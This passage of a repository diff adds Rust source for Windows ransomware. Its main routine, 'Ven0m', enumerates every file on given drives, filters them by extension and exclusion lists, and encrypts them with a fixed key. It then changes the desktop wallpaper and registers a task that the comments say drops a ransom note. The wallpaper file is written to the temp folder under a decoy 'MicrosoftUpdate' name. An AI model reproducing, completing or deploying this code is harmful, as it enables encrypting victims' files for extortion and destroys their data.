||||
CloseHandle(token);
|
||||
Ok(elevation != 0)
|
||||
}
|
||||
}
|
||||
Executable
+58
@@ -0,0 +1,58 @@
|
||||
use anyhow::{Result, Context};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::{Command, Stdio};
|
||||
use std::io::{BufReader, BufRead};
|
||||
|
||||
use crate::core;
|
||||
use crate::encrypt;
|
||||
use crate::wallpaper;
|
||||
use crate::task;
|
||||
|
||||
|
||||
// Ransomware Main
|
||||
pub fn Ven0m(drvs: &[&str], KEY: &[u8; 32], XCL: &[&str], XT: &[&str]) -> Result<()> {
|
||||
|
||||
for drv in drvs {
|
||||
let mut output = Command::new("cmd")
|
||||
.args(["/c", "dir", "/s", "/b", drv])
|
||||
.stdout(Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let reader = BufReader::new(output.stdout.take().context("[!] Failed to capture stdio!")?);
|
||||
for line in reader.lines() {
|
||||
let path = PathBuf::from(line?);
|
||||
let result: Result<()> = (|| {
|
||||
|
||||
// Check extentions
|
||||
if core::extention_filter(&[path.clone()], XT)?.is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
// Check exclusions
|
||||
if core::exclusion_filter(&[path.clone()], XCL)?.is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!(" -> Encrypting: {}", path.display());
|
||||
encrypt::encrypt(&path, KEY)?;
|
||||
|
||||
Ok(())
|
||||
|
||||
})();
|
||||
// Silently continue if error
|
||||
if let Err(e) = result {
|
||||
println!("[!] Skipping {}: {}", path.display(), e);
|
||||
}
|
||||
}
|
||||
|
||||
output.wait()?;
|
||||
|
||||
}
|
||||
// Changing the wallpaper and dropping the ransom note >:)
|
||||
wallpaper::set_wallpaper()?;
|
||||
task::register()?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
|
||||
Executable
+51
@@ -0,0 +1,51 @@
|
||||
use anyhow::{Result, Context, bail};
|
||||
use std::io::Write;
|
||||
use std::path::{PathBuf, Path};
|
||||
use std::ffi::OsStr;
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use winapi::um::winuser::{
|
||||
SystemParametersInfoW,
|
||||
SPI_SETDESKWALLPAPER,
|
||||
SPIF_UPDATEINIFILE,
|
||||
SPIF_SENDCHANGE,
|
||||
};
|
||||
|
||||
const WALL: &[u8] = include_bytes!(r"../assets/wallpaper.jpg");
|
||||
|
||||
pub fn set_wallpaper() -> Result<()>{
|
||||
let image_path = load(WALL)?;
|
||||
|
||||
let wide: Vec<u16> = OsStr::new(&image_path)
|
||||
.encode_wide()
|
||||
.chain(std::iter::once(0))
|
||||
.collect();
|
||||
|
||||
unsafe {
|
||||
let result = SystemParametersInfoW(
|
||||
SPI_SETDESKWALLPAPER,
|
||||
0,
|
||||
wide.as_ptr() as _,
|
||||
SPIF_UPDATEINIFILE | SPIF_SENDCHANGE,
|
||||
);
|
||||
|
||||
if result == 0 {
|
||||
bail!("Failed to set wallpaper");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Drop the wallpaper to disk
|
||||
fn load(image_bytes: &[u8]) -> Result<PathBuf> {
|
||||
|
||||
let img_path = std::env::temp_dir().join("MicrosoftUpdate11.03.jpg");
|
||||
if !img_path.exists()
|
||||
// The written image has to be out of scope in order to use it
|
||||
{
|
||||
let mut file = std::fs::File::create(&img_path).context("[!] Failed to create image file!")?;
|
||||
file.write_all(image_bytes).context("[!] Failed to data to file")?;
|
||||
}
|
||||
|
||||
Ok(img_path)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user